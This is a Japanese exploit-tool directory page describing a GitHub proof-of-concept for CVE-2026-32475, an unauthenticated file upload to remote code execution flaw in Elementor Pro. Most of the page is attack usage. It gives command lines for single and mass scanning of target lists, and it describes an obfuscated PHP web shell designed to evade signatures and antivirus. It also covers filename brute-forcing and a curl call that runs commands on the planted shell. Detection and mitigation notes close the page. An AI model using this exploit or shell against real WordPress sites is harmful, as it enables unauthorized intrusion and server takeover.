Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-32475 — CVE-2026-32475の概念実証エクスプロイト。Elementor Proにおける認証不要の任意ファイルアップロードにより、リモートコード実行につながります。マススキャン、ファイル名のブルートフォース確認、および認可されたテスト用の組み込み難読化ウェブシェルを含みます。 | Kitploit
ツール/GitHubGitHub/4minx/cve-2026-32475
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストペイロード開発
GitHub4minx/cve-2026-32475

CVE-2026-32475

CVE-2026-32475の概念実証エクスプロイト。Elementor Proにおける認証不要の任意ファイルアップロードにより、リモートコード実行につながります。マススキャン、ファイル名のブルートフォース確認、および認可されたテスト用の組み込み難読化ウェブシェルを含みます。

リポジトリを見る
6時間1分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-32475 PoC: Elementor Pro の認証なし任意ファイルアップロードによるRCE

Elementor Pro 事前認証の任意ファイルアップロードによるリモートコード実行

CVE-2026-32475 の概念実証コードです。Elementor Pro の Forms モジュールにおける深刻な認証なし任意ファイルアップロードが、リモートコード実行に至るものです。この PoC は、同じアップロードフィールドに対して2つのファイルパートを送信します — 空の最初のエントリ(空のファイル名で UPLOAD_ERR_NO_FILE をトリガー)に続いてペイロードを送信します。validation() ループは空のエントリで return により早期終了し、process_field() は continue でスキップするため、ペイロードは拡張子チェックを受けることなく、公開ディレクトリに .php 拡張子で保存されます。修正後の動作をテストする PoC(パッチ適用後の同じリクエスト)は、拡張子チェックによって拒否される必要があります。

注記: この PoC は、許可されたセキュリティテストおよび研究のみを目的としています。CVE-2026-32475 は現在活発に悪用されており、Wordfence は8月19日の開示以降、190,000件以上の試行をブロックしています。いかなるシステムをテストする前に、適用されるすべての法律を遵守し、書面による許可を得る責任はあなたにあります。


脆弱性情報

  • CVE: CVE-2026-32475
  • タイプ: CWE-434 危険なタイプのファイルの無制限アップロード
  • CVSS 3.1: 9.0(緊急、)
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • 認証: 認証なし(事前認証、リモート、低い攻撃複雑性)
  • 活発な悪用: あり(同日の武器化、8月19日〜23日に190,000件以上のブロック試行)
  • 影響を受けるソフトウェア: Elementor Pro(商用 WordPress プラグイン)、バージョン <= 4.2.1
  • 修正バージョン: 4.2.2(2026年8月19日リリース)
  • 報告者: Tin Pham(TF1T)経由 Patchstack、Austin Ginder 経由 Wordfence($15,600 報奨金)
  • 開示日: 2026年8月19日

  • 要件

    • Python 3.8+ と requests ライブラリ
    • ターゲット: Elementor Pro <= 4.2.1 がインストールされ、ファイルアップロードフィールドを含む公開フォームが存在する WordPress サイト

    依存関係のインストール:

    root@kitploit:~
    pip install requests
    

    使用方法

    単一ターゲット

    root@kitploit:~
    python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
    

    実行の確認(uniqid() ファイル名のブルートフォース)

    root@kitploit:~
    python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
    

    組み込みの難読化 WebShell のアップロード

    root@kitploit:~
    python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
    

    --shell は、最小限の難読化 PHP ウェブシェル(キーワードは chr()/implode/strrev で実行時に構築、コマンドパラメータは vapcom)をアップロードするため、単純な静的シグネチャやディスク上の AV リアルタイムスキャンで検出されません。保存されるファイル名は依然としてランダム(<uniqid()>.php)です。--brute と組み合わせると、?vapcom=echo <marker> をプローブし、exec confirmed: <name>.php を報告します。特定後の手動使用:

    root@kitploit:~
    curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
    

    大量スキャン

    root@kitploit:~
    python cve-2026-32475-poc.py -T targets.txt -o results.csv
    

    カスタムペイロード

    root@kitploit:~
    python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php
    

    オプション

    引数説明デフォルト
    -t, --target単一ターゲット URL-
    -T, --targetsターゲット URL を1行に1つずつ含むファイル-
    -o, --output結果ファイル(CSV: target, status, form_id, post_id, field, note)-
    --timeoutリクエストタイムアウト(秒)15
    --post-id検出された post_id を上書きauto
    --form-id検出された form_id(Elementor ウィジェット ID)を上書きauto
    --field検出されたアップロードフィールドの custom_id を上書きauto
    --payloadカスタムペイロードファイルのパス(デフォルト: 良性の PHP トークンファイル)良性トークン
    --shellトークンの代わりに組み込みの難読化 PHP ウェブシェル(実行時に構築される <?php ... system($_GET) ?>、パラメータ vapcom)をアップロードoff
    --bruteアップロード成功後、uniqid() ファイル名をブルートフォースしてコード実行を確認off
    --seconds-windowサーバーの Date ヘッダーの前後のブルートフォース対象秒数5

    出力例

    root@kitploit:~
    [*] Probing http://localhost/wplab/?page_id=6 ...
    [+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
    [*] AJAX -> HTTP 200
    [*] result: vulnerable - upload accepted
        response    : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
        uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
    [+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'
    
    [*] done: 1/1 vulnerable
    

    AJAX レスポンスで success:true が返された場合、ペイロードが拡張子チェックなしで受け入れられたことを意味します。--brute を使用したステップ4(推測した .php ファイルにマーカーが含まれ、200 が返されること)で、サーバーサイドでの PHP 実行、つまり完全な RCE が確認されます。

    結果ステータス: vulnerable | patched | unknown | error

    • vulnerable — Web サーバーが "success":true を返した。ペイロードが拡張子チェックをスキップした
    • patched — アップロードがファイルタイプエラーで拒否された(拡張子チェックが実行された)
    • unknown — HTTP は成功したが、レスポンスが success:true ではなかった(ID が誤っているか、予期しない状態)
    • error — リクエスト/解析の失敗(タイムアウト、200以外、フォームが見つからない)

    ペイロードの動作と WebShell に関する注意事項

    • 保存されるファイル名は常に <uniqid()>.<攻撃者指定の拡張子> です — 送信されたベースネームは破棄されるため、二重拡張子やヌルバイトのトリックは無関係です。重要なのは拡張子チェックのみであり、それが破られる部分です。
    • Elementor は wp-content/uploads/elementor/forms/ に .htaccess を同梱しており、すべてのファイルに Content-Disposition: attachment を設定します。これは実行を止めません — PHP は依然としてサーバーサイドで実行され、ダウンロードされたレスポンスは実行された出力です。ラボでブラウザ内にシェルを表示するには、その .htaccess を無効にしてください。実環境ではこれは見た目上のものに過ぎず、サーバーレベルの PHP ブロックに依存してください。
    • uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec) であるため、ファイル名は時間から導出されます(Unix 秒、下位32ビット、+マイクロ秒)。ブルートフォースステップは、送信レスポンスの Date ヘッダーで観測された秒を基準にし、.php ファイルに対して ?vapcom=echo <marker>(トークン/--payload ファイルの場合は ?c=)をリクエストするため、マーカーを含むレスポンスは単なるファイル読み取りではなく、実際のサーバーサイド PHP 実行です。最悪の場合、毎秒約100万のマイクロ秒推測が必要なため、--seconds-window を狭めて実行時間を短くしてください。

    侵害の検出 / 確認

    root@kitploit:~
    # アップロードディレクトリに存在すべきでない PHP ファイル
    find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
    
    • forms ディレクトリ配下の .php/.phtml/.phar/.hta ファイルはすべて侵害の証拠として扱ってください。
    • アクセスログで /wp-content/uploads/elementor/forms/ 配下への GET と、elementor_pro_forms_send_form を含む POST を検索してください。
    • シェルが実行された場合、不正な管理者、mu-plugins、改変されたコア/テーマファイル、予期しない WP-Cron イベントを探し、その場でのクリーンアップよりも既知の正常なバックアップからの復元を優先してください。

    緩和策

    • Elementor Pro を 4.2.2 以降にアップグレードしてください。Elementor Pro のアップデートは Elementor 独自のサービスから配信されます — ライセンスが失効しているとアップデートは提供されません。
    • 直ちにパッチを適用できない場合は、Web サーバーレイヤーでアップロードディレクトリ内の PHP 実行をブロックしてください(nginx の location ルールまたは Apache の <FilesMatch>)。これが恒久的な修正であり、今回および将来のアップロードバグを「ディスクの無駄遣い」に格下げします。
    • 公開フォームを列挙し、受け付けるファイルタイプを制限し、未使用のアップロードフィールドを削除してください。
    • アップグレード後: アップロードディレクトリをスキャンし、管理者アカウントを確認し、elementor_pro_forms_send_form アクションのログを監査してください。

    参考情報

    • Patchstack — Critical Unauthenticated File Upload to RCE in Elementor Pro
    • Wordfence — Attackers Actively Exploiting Critical Vulnerability in Elementor Pro
    • MagicWP — CVE-2026-32475: Elementor Pro Arbitrary File Upload
    • NVD — CVE-2026-32475
    • dev.to — Active Exploitation of PHP Web Shell via Array Validation Bypass
    • deniz.in — Elementor Pro RCE: unvalidated file uploads fixed in version 4.2.2
    ツールをダウンロード